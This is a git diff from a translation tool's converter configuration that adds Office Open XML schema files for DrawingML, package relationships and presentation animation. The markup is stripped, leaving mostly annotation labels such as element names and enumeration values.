b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapemisc.xsd @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapeproperties.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapeproperties.xsd new file mode 100644 index 0000000..359439b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapeproperties.xsd @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapestyle.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapestyle.xsd new file mode 100644 index 0000000..964799c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapestyle.xsd @@ -0,0 +1,32 @@ + + + + + + + + Color + + + + + + + + + + Color + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-spreadsheetdrawing.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-spreadsheetdrawing.xsd new file mode 100644 index 0000000..525d830 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-spreadsheetdrawing.xsd @@ -0,0 +1,247 @@ + + + + + + + + + + + Allow Selection on Locked Worksheet + + + + + Print Drawing Element + + + + + + + + Connection Non-Visual Properties + + + + + Connection Shape Non-Visual Properties + + + + + + + + + Non-Visual Shape Properties + + + + + Shape Properties + + + + + + + + + + Allow Text Editing on Locked Worksheet + + + + + Publsh to Server + + + + + + + + Connection Non-Visual Properties + + + + + Non-Visual Connector Shape Properties + + + + + + + + + Non-Visual Connection Shape Properties + + + + + Connector Shape Properties + + + + + + + + Publsh to Server + + + + + + + + + + + + + + + + + + + + + + + + Connection Non-Visual Properties + + + + + + + + + + Non-Visual Graphic Frame Properties + + + + + + + + + Publsh to Server + + + + + + + + Connection Non-Visual Properties + + + + + + + + + + Non-Visual Grouping Shape Properties + + + + + Group Shape Properties + + + + + + + Group Shape + + + + + + Connection Shape + + + + + + + + + + + + Shape + + + + + Group Shape + + + + + + Connection Shape + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-styledefaults.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-styledefaults.xsd new file mode 100644 index 0000000..7267d72 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-styledefaults.xsd @@ -0,0 +1,27 @@ + + + + + + + + + + Visual Properties + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-stylesheet.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-stylesheet.xsd new file mode 100644 index 0000000..4b1711c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-stylesheet.xsd @@ -0,0 +1,68 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-table.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-table.xsd new file mode 100644 index 0000000..6078b68 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-table.xsd @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-tablestyle.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-tablestyle.xsd new file mode 100644 index 0000000..8e6a3d2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-tablestyle.xsd @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Color + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Style ID + + + + + Name + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-text.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-text.xsd new file mode 100644 index 0000000..d741e0f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-text.xsd @@ -0,0 +1,417 @@ + + + + + + + + Text Paragraph + + + + + Text Paragraph Properties + + + + + Text Run + + + + + End Paragraph Run Properties + + + + + + + Text Anchoring Types + + + + + Text Anchoring Type Enum ( Top ) + + + + + Text Anchor Enum ( Center ) + + + + + Text Anchor Enum ( Bottom ) + + + + + Text Anchor Enum ( Justified ) + + + + + Text Anchor Enum ( Distributed ) + + + + + + + Text Vertical Overflow + + + + + Text Overflow Enum ( Overflow ) + + + + + Text Overflow Enum ( Ellipsis ) + + + + + Text Overflow Enum ( Clip ) + + + + + + + Text Horizontal Overflow Types + + + + + Text Horizontal Overflow Enum ( Overflow ) + + + + + Text Horizontal Overflow Enum ( Clip ) + + + + + + + Vertical Text Types + + + + + Vertical Text Type Enum ( Horizontal ) + + + + + Vertical Text Type Enum ( Vertical ) + + + + + Vertical Text Type Enum ( Vertical 270 ) + + + + + Vertical Text Type Enum ( WordArt Vertical ) + + + + + Vertical Text Type Enum ( East Asian Vertical ) + + + + + Vertical Text Type Enum ( Mongolian Vertical ) + + + + + + + + Text Wrapping Types + + + + + Text Wrapping Type Enum ( None ) + + + + + Text Wrapping Type Enum ( Square ) + + + + + + + Text Column Count + + + + + + + + + Text List Styles + + + + + Default Paragraph Style + + + + + List Level 1 Text Style + + + + + List Level 2 Text Style + + + + + List Level 3 Text Style + + + + + List Level 4 Text Style + + + + + List Level 5 Text Style + + + + + List Level 6 Text Style + + + + + List Level 7 Text Style + + + + + List Level 8 Text Style + + + + + List Level 9 Text Style + + + + + + + Text Font Scale Percentage + + + + + + + + + Text Normal Autofit + + + + Font Scale + + + + + Line Space Reduction + + + + + + Text Shape Autofit + + + + + Text Not AutoFitted + + + + + Text AutoFit Methods + + + + + No AutoFit + + + + + Normal AutoFit + + + + + Shape AutoFit + + + + + + + Text Body Properties + + + + + Preset Text Shape + + + + + AutoFit Properties + + + + + 3D Scene Properties + + + + + Text in 3D Scene + + + + + + + Rotation + + + + + Paragraph Spacing + + + + + Text Vertical Overflow + + + + + Text Horizontal Overflow + + + + + Vertical Text + + + + + Text Wrapping Type + + + + + Left Inset + + + + + Top Inset + + + + + Right Inset + + + + + Bottom Inset + + + + + Number of Columns + + + + + Space Between Columns + + + + + Columns Right-To-Left + + + + + From WordArt + + + + + Anchor + + + + + Anchor Center + + + + + Force Anti-Alias + + + + + Text Upright + + + + + + + Text Body Properties + + + + + Body Properties + + + + + Text List Styles + + + + + Text Paragraphs + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textbullet.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textbullet.xsd new file mode 100644 index 0000000..bb1e44a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textbullet.xsd @@ -0,0 +1,396 @@ + + + + + + + + Start Bullet At Number + + + + + + + + + Text Autonumber Schemes + + + + + Autonumber Enum ( alphaLcParenBoth ) + + + + + Autonumbering Enum ( alphaUcParenBoth ) + + + + + Autonumbering Enum ( alphaLcParenR ) + + + + + Autonumbering Enum ( alphaUcParenR ) + + + + + Autonumbering Enum ( alphaLcPeriod ) + + + + + Autonumbering Enum ( alphaUcPeriod ) + + + + + Autonumbering Enum ( arabicParenBoth ) + + + + + Autonumbering Enum ( arabicParenR ) + + + + + Autonumbering Enum ( arabicPeriod ) + + + + + Autonumbering Enum ( arabicPlain ) + + + + + Autonumbering Enum ( romanLcParenBoth ) + + + + + Autonumbering Enum ( romanUcParenBoth ) + + + + + Autonumbering Enum ( romanLcParenR ) + + + + + Autonumbering Enum ( romanUcParenR ) + + + + + Autonumbering Enum ( romanLcPeriod ) + + + + + Autonumbering Enum ( romanUcPeriod ) + + + + + Autonumbering Enum ( circleNumDbPlain ) + + + + + Autonumbering Enum ( circleNumWdBlackPlain ) + + + + + Autonumbering Enum ( circleNumWdWhitePlain ) + + + + + Autonumbering Enum ( arabicDbPeriod ) + + + + + Autonumbering Enum ( arabicDbPlain ) + + + + + Autonumbering Enum ( ea1ChsPeriod ) + + + + + Autonumbering Enum ( ea1ChsPlain ) + + + + + Autonumbering Enum ( ea1ChtPeriod ) + + + + + Autonumbering Enum ( ea1ChtPlain ) + + + + + Autonumbering Enum ( ea1JpnChsDbPeriod ) + + + + + Autonumbering Enum ( ea1JpnKorPlain ) + + + + + Autonumbering Enum ( ea1JpnKorPeriod ) + + + + + Autonumbering Enum ( arabic1Minus ) + + + + + Autonumbering Enum ( arabic2Minus ) + + + + + Autonumbering Enum ( hebrew2Minus ) + + + + + Autonumbering Enum ( thaiAlphaPeriod ) + + + + + Autonumbering Enum ( thaiAlphaParenR ) + + + + + Autonumbering Enum ( thaiAlphaParenBoth ) + + + + + Autonumbering Enum ( thaiNumPeriod ) + + + + + Autonumbering Enum ( thaiNumParenR ) + + + + + Autonumbering Enum ( thaiNumParenBoth ) + + + + + Autonumbering Enum ( hindiAlphaPeriod ) + + + + + Autonumbering Enum ( hindiNumPeriod ) + + + + + Autonumbering Enum ( hindiNumParenR ) + + + + + Autonumbering Enum ( hindiAlpha1Period ) + + + + + + + Text Bullet Color Follows Text Color + + + + + Text Bullet Color + + + + + Follow Text + + + + + Color Specified + + + + + + + Bullet Size Percentage + + + + + + + + + Bullet Size Follows Text + + + + + Bullet size as percentage + + + + Value + + + + + + Bullet Size in Points + + + + Value + + + + + + Text Bullet Size Method + + + + + Bullet Size follows Text + + + + + Bullet Size Percentage + + + + + Bullet Size Points + + + + + + + Bullet Typeface Follows Text + + + + + Bullet Typeface Methods + + + + + Follow text + + + + + Specified + + + + + + + Autonumbered Bullet Methods + + + + Bullet Autonumbering Type + + + + + Start Numbering At + + + + + + Text Character Bullet + + + + Bullet Character + + + + + + Text Blip Bullet + + + + + Blip + + + + + + + No Bullet + + + + + Text Bullet Options + + + + + No Bullet + + + + + AutoNumbered Bullet + + + + + Character Bullet + + + + + Picture Bullet + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textchar.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textchar.xsd new file mode 100644 index 0000000..9379c3b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textchar.xsd @@ -0,0 +1,390 @@ + + + + + + + + Text Point + + + + + + + + + Text Non-Negative Point + + + + + + + + + Text Font Size + + + + + + + + + Text Typeface + + + + + + Text Font Methods + + + + Text Typeface + + + + + + Language ID + + + + + + Text Underline Types + + + + + Text Underline Enum ( None ) + + + + + Text Underline Enum ( Words ) + + + + + Text Underline Enum ( Single ) + + + + + Text Underline Enum ( Double ) + + + + + Text Underline Enum ( Heavy ) + + + + + Text Underline Enum ( Dotted ) + + + + + Text Underline Enum ( Heavy Dotted ) + + + + + Text Underline Enum ( Dashed ) + + + + + Text Underline Enum ( Heavy Dashed ) + + + + + Text Underline Enum ( Long Dashed ) + + + + + Text Underline Enum ( Heavy Long Dashed ) + + + + + Text Underline Enum ( Dot Dash ) + + + + + Text Underline Enum ( Heavy Dot Dash ) + + + + + Text Underline Enum ( Dot Dot Dash ) + + + + + Text Underline Enum ( Heavy Dot Dot Dash ) + + + + + Text Underline Enum ( Wavy ) + + + + + Text Underline Enum ( Heavy Wavy ) + + + + + Text Underline Enum ( Double Wavy ) + + + + + + + + Underline Fill Follows Text + + + + + + + + Text Underline Methods + + + + + Underline Follows Text + + + + + Underline Stroke + + + + + + + + + Underline fill properties + + + + + + + + Text Strike Type + + + + + Text Strike Enum ( No Strike ) + + + + + Text Strike Enum ( Single Strike ) + + + + + Text Strike Enum ( Double Strike ) + + + + + + + Text Cap Types + + + + + Text Caps Enum ( None ) + + + + + Text Caps Enum ( Small ) + + + + + Text Caps Enum ( All ) + + + + + + + Text Character Property Bag + + + + + Line + + + + + Fill Properties + + + + + Effect Properties + + + + + Highlight Color + + + + + Text underline line properties + + + + + Underline Fill Properties + + + + + Latin Font + + + + + East Asian Font + + + + + Complex Script Font + + + + + Symbol Font + + + + + Drawing Element On Click Hyperlink + + + + + Mouse-Over Hyperlink + + + + + + + Kumimoji + + + + + Language ID + + + + + Alternative Language + + + + + Font Size + + + + + Bold + + + + + Italics + + + + + Underline + + + + + Strikethrough + + + + + Kerning + + + + + Capitalization + + + + + Spacing + + + + + Normalize Heights + + + + + Baseline + + + + + No Proofing + + + + + Dirty + + + + + Spelling Error + + + + + SmartTag Clean + + + + + SmartTag ID + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textpara.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textpara.xsd new file mode 100644 index 0000000..b3d15cb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textpara.xsd @@ -0,0 +1,359 @@ + + + + + + + + + + + + + + + Text Spacing Percent + + + + + + + + + Text Spacing Percent + + + + Value + + + + + + Text Spacing Point + + + + Value + + + + + + + + + + + + + + + + + + Text Tab Alignment Types + + + + + Text Tab Alignment Enum ( Left) + + + + + Text Tab Alignment Enum ( Center ) + + + + + Text Tab Alignment Enum ( Right ) + + + + + Text Tab Alignment Enum ( Decimal ) + + + + + + + + + + + + + + + + Text Line Break + + + + + Text Character Properties + + + + + + + Text Spacing Methods + + + + + Spacing Percent + + + + + Spacing Points + + + + + + + Text Alignment Types + + + + + Text Alignment Enum ( Left ) + + + + + Text Alignment Enum ( Center ) + + + + + Text Alignment Enum ( Right ) + + + + + Text Alignment Enum ( Justified ) + + + + + Text Alignment Enum ( Justified Low ) + + + + + Text Alignment Enum ( Distributed ) + + + + + Text Alignment Enum ( Thai Distributed ) + + + + + + + Font Alignment Types + + + + + Font Alignment Enum ( Automatic ) + + + + + Font Alignment Enum ( Top ) + + + + + Font Alignment Enum ( Center ) + + + + + Font Alignment Enum ( Baseline ) + + + + + Font Alignment Enum ( Bottom ) + + + + + + + Text Indent Level Type + + + + + + + + + Text Paragraph Property Bag + + + + + Line Spacing + + + + + Space Before + + + + + Space After + + + + + Text Bullet Color + + + + + Text Bullet Size + + + + + Text Bullet Typeface + + + + + Text Bullet Information + + + + + Tab List + + + + + Default Character Properties + + + + + + + Left Margin + + + + + Right Margin + + + + + Level + + + + + Indent + + + + + Alignment + + + + + Default Tab Size + + + + + Right To Left + + + + + East Asian Line Break + + + + + Font Alignment + + + + + Latin Line Break + + + + + Hanging Punctuation + + + + + + Text Field + + + + + Text Character Properties + + + + + Text Paragraph Properties + + + + + + Field ID + + + + + Field Type + + + + + + Text Run + + + + + Text Run + + + + + Text Line Break + + + + + Text Field + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textrun.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textrun.xsd new file mode 100644 index 0000000..8de5004 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-textrun.xsd @@ -0,0 +1,21 @@ + + + + + + Regular Text Run Methods + + + + + Text Character Properties + + + + + Text String + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-wordprocessingdrawing.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-wordprocessingdrawing.xsd new file mode 100644 index 0000000..f38a247 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-wordprocessingdrawing.xsd @@ -0,0 +1,493 @@ + + + + + + + + Left Wrapping Extent Location + + + + + Top Wrapping Extent Location + + + + + Right Wrapping Extent Location + + + + + Bottom Wrapping Extent Location + + + + + + + + Drawing Object Size + + + + + Inline Wrapping Extent + + + + + Drawing Object Non-Visual Properties + + + + + + + + + Distance From Text + + + + + + Text Wrapping Location + + + + + Both Sides + + + + + Left Side Only + + + + + Right Side Only + + + + + Largest Side Only + + + + + + + + + Wrapping Polygon Start + + + + + Wrapping Polygon Line + + + + + + + + + + + Square Wrapping Extent + + + + + + Text Wrapping Location + + + + + Distance From Text (Top) + + + + + Distance From Text (Bottom) + + + + + Distance From Text (Left) + + + + + Distance From Text (Right) + + + + + + + + Tight Wrapping Extents Polygon + + + + + + Text Wrapping Location + + + + + Distance From Test (Left Side) + + + + + Distance From Text (Right) + + + + + + + + Through Wrapping Polygon + + + + + + Text Wrapping Location + + + + + Distance From Text (Left) + + + + + Distance From Text (Right Side) + + + + + + + + Wrapping Boundaries + + + + + + Distance From Text (Top) + + + + + Distance From Text (Bottom) + + + + + + Group choice of wrapping type. + + + + + + No Text Wrapping + + + + + Square Wrapping + + + + + Tight Wrapping + + + + + Through Wrapping + + + + + Top and Bottom Wrapping + + + + + + + + + + + Position Offset Definition + + + + + + Horizonal Alignment Definition + + + + + Left + + + + + Right Side + + + + + Center + + + + + Inside + + + + + Outside + + + + + + + Horizontal Relative Positioning + + + + + Page Margin + + + + + Page Edge + + + + + Column + + + + + Character + + + + + + + + + + + + + + Horizontal Alignment Base + + + + + Horizontal Position Offset + + + + + + + + Horizontal Position Relative Base + + + + + + Vertical Alignment Definition + + + + + Top + + + + + Bottom + + + + + Center + + + + + Inside + + + + + Outside + + + + + + + Vertical Relative Positioning + + + + + Page Margin + + + + + Page Edge + + + + + Paragraph + + + + + Line + + + + + + + + + + + + + + Vertical Alignment Base + + + + + Vertical Position Offset + + + + + Vertical Position Offset + + + + + + + Vertical Position Relative Base + + + + + + + + Simple Positioning + + + + + Horizontal Positioning + + + + + Vertical Positioning + + + + + Inline Drawing Object Extents + + + + + + + Drawing Object Non-Visual Properties + + + + + + + + Page Positioning + + + + + Relative Z-Order + + + + + Behind Document Text + + + + + Lock Anchor + + + + + Layout In Table Cell + + + + + Hidden + + + + + Allow Object Overlap + + + + + + Inline DrawingML Object + + + + + Anchor for Floating DrawingML Object + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-contenttypes.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-contenttypes.xsd new file mode 100644 index 0000000..9720f8d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-contenttypes.xsd @@ -0,0 +1,50 @@ + + + + + Part Content Types + + + + + Types Complex Type + + + + + Default Content Type + + + + + Content Type Override + + + + + + + Default Content Type definition + + + + + + + Override Complex Type + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-coreproperties.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-coreproperties.xsd new file mode 100644 index 0000000..7fa10b5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-coreproperties.xsd @@ -0,0 +1,97 @@ + + + + + + + Document Core Properties + + + + + Core Properties Complex Type + + + + + Creator + + + + + Date Created + + + + + Identifier + + + + + Content Type + + + + + Title + + + + + Subject + + + + + Description + + + + + Keywords + + + + + Language + + + + + Category + + + + + Version + + + + + Revision + + + + + Last Modified By + + + + + Last Modified Date + + + + + Last Printed + + + + + Content Status + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-relationships.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-relationships.xsd new file mode 100644 index 0000000..8a6726f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/opc-relationships.xsd @@ -0,0 +1,67 @@ + + + + + Package Relationships + + + + + Relationships XML Element + + + + + Package Relationship + + + + + + + Relationship XML Element + + + + + Package Relationship Type + + + + Relationship Target Mode + + + + + Relationship XML Attributes Reference + + + + + Relationship XML Attributes Reference + + + + + Relationship XML Attributes Reference + + + + + + Relationship XML TargetMode type + + + + + Relationship XML Attributes Reference + + + + + Relationship XML Attributes Reference + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-animationinfo.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-animationinfo.xsd new file mode 100644 index 0000000..9f7e9e2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-animationinfo.xsd @@ -0,0 +1,1960 @@ + + + + + + + + + + + Transition Slide Direction Type + + + + + Transition Slide Direction Enum ( Left ) + + + + + Transition Slide Direction Enum ( Up ) + + + + + Transition Slide Direction ( Right ) + + + + + Transition Slide Direction Enum ( Down ) + + + + + + + Transition Corner Direction Type + + + + + Transition Corner Direction Enum ( Left-Up ) + + + + + Transition Corner Direction Enum ( Right-Up ) + + + + + Transition Corner Direction Enum ( Left-Down ) + + + + + Transition Corner Direction Enum ( Right-Down ) + + + + + + + Transition In/Out Direction Type + + + + + Transition In/Out Direction Enum ( Out ) + + + + + Transition In/Out Direction Enum ( In ) + + + + + + + Slide Transition Direction + + + + + + Slide Transition Direction for Corners + + + + + + Direction + + + + + + Slide Transition Direction ( 8 ) + + + + Direction + + + + + + Orientation Transition + + + + Orientation Transition Direction + + + + + + In/Out Transition + + + + Direction + + + + + + Optional Black Transition + + + + Transition Through Black + + + + + + Split Transition + + + + Orientation + + + + + Direction + + + + + + Wheel Transition + + + + Spokes + + + + + + Start Sound Action for Slide Transitions + + + + + Sound + + + + + + Loop Sound + + + + + + Slide Transition Sound Action + + + + + Start Sound Action + + + + + Stop Sound Action + + + + + + + Transition Speed + + + + + Transition Speed Enum ( Slow ) + + + + + Transition Speed Enum ( Med ) + + + + + Transition Speed Enum ( Fast ) + + + + + + + Slide Transition + + + + + + Blinds Slide Transition + + + + + Checker Slide Transition + + + + + Circle Slide Transition + + + + + Disolve Slide Transition + + + + + Comb Slide Transition + + + + + Cover Slide Transition + + + + + Cut Slide Transition + + + + + Diamond Slide Transition + + + + + Fade Slide Transition + + + + + Newsflash Slide Transition + + + + + Plus Slide Transition + + + + + Pull Slide Transition + + + + + Push Slide Transition + + + + + Random Slide Transition + + + + + Random Bar Slide Transition + + + + + Split Slide Transition + + + + + Strips Slide Transition + + + + + Wedge Slide Transition + + + + + Wheel Slide Transition + + + + + Wipe Slide Transition + + + + + Zoom Slide Transition + + + + + + Sound Action + + + + + + + Speed + + + + + Advance on Click + + + + + Advance after time + + + + + + Indefinite Time Declaration + + + + + Indefinite Type Enum + + + + + + + Time + + + + + + Node ID + + + + + + Iteration Interval + + + + Time + + + + + + Iteratoin interval ( percentage ) + + + + Value + + + + + + + + Iterate Type Enum ( By Element ) + + + + + Iterate Type Enum ( By Word ) + + + + + Iterate Type Enum ( By Letter) + + + + + + + Iterate Data + + + + + Duration + + + + + Duration + + + + + + Iterate Type + + + + + Backwards + + + + + + Timeline Subshape ID + + + + Shape ID + + + + + + Timeline Text Target + + + + + Text Range + + + + + Text Range + + + + + + + + + Chart Build Element Type Enum ( Grid Legend ) + + + + + Chart Build Element Type Enum ( Series ) + + + + + Chart Build Element Type Enum ( Category ) + + + + + Chart Build Element Type Enum ( Point in Series ) + + + + + Chart Build Element Type Enum ( Point in Cat ) + + + + + + + Timeline OLE Chart Target + + + + Chart Build Element Type + + + + + Level + + + + + + Timeline Shape Target + + + + + Background + + + + + Subshape + + + + + OLE Chart Element + + + + + Text Element + + + + + Graphic Element + + + + + + Shape ID + + + + + + Timeline Target Element + + + + + Slide Target + + + + + Sound target + + + + + Shape Target + + + + + + + + Trigger TimeNode ID + + + + TimeNode ID + + + + + + Trigger RunTime Node + + + + + Trigger RunTime Node ( First ) + + + + + Trigger RunTime Node ( Last ) + + + + + Trigger RunTime Node Enum ( All ) + + + + + + + Trigger RunTime Node + + + + Value + + + + + + Trigger Event + + + + + Trigger Event Enum ( On Begin ) + + + + + Trigger Event Enum ( On End ) + + + + + Trigger Event Enum ( Begin ) + + + + + Trigger Event Enum ( End ) + + + + + Trigger Event Enum ( On Click ) + + + + + Trigger Event Enum ( On Double Click ) + + + + + Trigger Event Enum ( On Mouse Over ) + + + + + Trigger Event Enum ( On Mouse Out ) + + + + + Trigger Event Enum ( On Next ) + + + + + Trigger Event Enum ( On Previous ) + + + + + Trigger Event Enum ( On Stop Audio ) + + + + + + + Time Condition + + + + + Target Element Trigger Choice + + + + + TimeNode Trigger Choice + + + + + RunTime Node Trigger Choice + + + + + + Trigger Event + + + + + Trigger Delay + + + + + + Timeline Condition List + + + + + Timeline condition + + + + + + + List of TimeNodes + + + + + Parallel Time Node ( Group ) + + + + + Sequence Time Node ( Group ) + + + + + Exclusive Time Node ( Group ) + + + + + Animate Time Node ( Behavior ) + + + + + Animate Color Time Node ( Behavior ) + + + + + Animate Effect Time Node ( Behavior ) + + + + + Animate Motion Time Node ( Behavior ) + + + + + Animate Rotation Time Node ( Behavior ) + + + + + Animate Scale Time Node ( Behavior ) + + + + + Command Time Node ( Behavior ) + + + + + Set Time Node ( Behavior ) + + + + + Audio Time Node ( Media ) + + + + + Video Time Node ( Media ) + + + + + + + + + Preset Type Enum ( Entrance ) + + + + + + Preset Type Enum ( Emphasis ) + + + + + Preset Type Enum ( Path ) + + + + + Preset Type Enum ( Verb ) + + + + + Preset Type Enum ( Media Call ) + + + + + + + + + Restart Enum ( Always ) + + + + + Restart Enum ( When Not Active ) + + + + + Restart Enum ( Never ) + + + + + + + + + TimeNode Fill Type Enum ( Remove ) + + + + + TimeNode Fill Type Enum ( Freeze ) + + + + + TimeNode Fill Type Enum ( Hold ) + + + + + TimeNode Fill Type Enum ( Transition ) + + + + + + + + + TimeNode Sync Enum ( Can Slip ) + + + + + TimeNode Sync Enum ( Locked ) + + + + + + + + + TimeNode Master Relation Enum ( Same Click ) + + + + + TimeNode Master Relation Enum ( Last Click ) + + + + + TimeNode Master Relation Enum ( Next Click ) + + + + + + + + + Node Type Enum ( Click Effect ) + + + + + Node Type Enum ( With Effect ) + + + + + Node Type Enum ( After Effect ) + + + + + Node Type Enum ( Main Sequence ) + + + + + Node Type Enum ( Interactive Sequence ) + + + + + Node Type Enum ( Click Paragraph ) + + + + + Node Type Enum ( With Group ) + + + + + Node Type Enum ( After Group ) + + + + + Node Type Enum ( Timing Root ) + + + + + + + Common TimeNode Data + + + + + Start Conditions List + + + + + End Conditions List + + + + + EndSync + + + + + Iterate Data for Node + + + + + TimeNode Children + + + + + Sub-TimeNodes List + + + + + + TimeNode ID + + + + + Preset ID + + + + + Preset Types + + + + + Preset SubType + + + + + Duration + + + + + Repeat Count + + + + + Repeat Duration + + + + + Speed + + + + + Acceleration + + + + + Deceleration + + + + + AutoReverse + + + + + Restart + + + + + TimeNode Fill + + + + + Synchronization Behavior + + + + + Time Filter + + + + + Event Filter + + + + + Display + + + + + TimeNode Master Relation + + + + + Build level + + + + + Group ID + + + + + After Effect + + + + + Node Type + + + + + Node 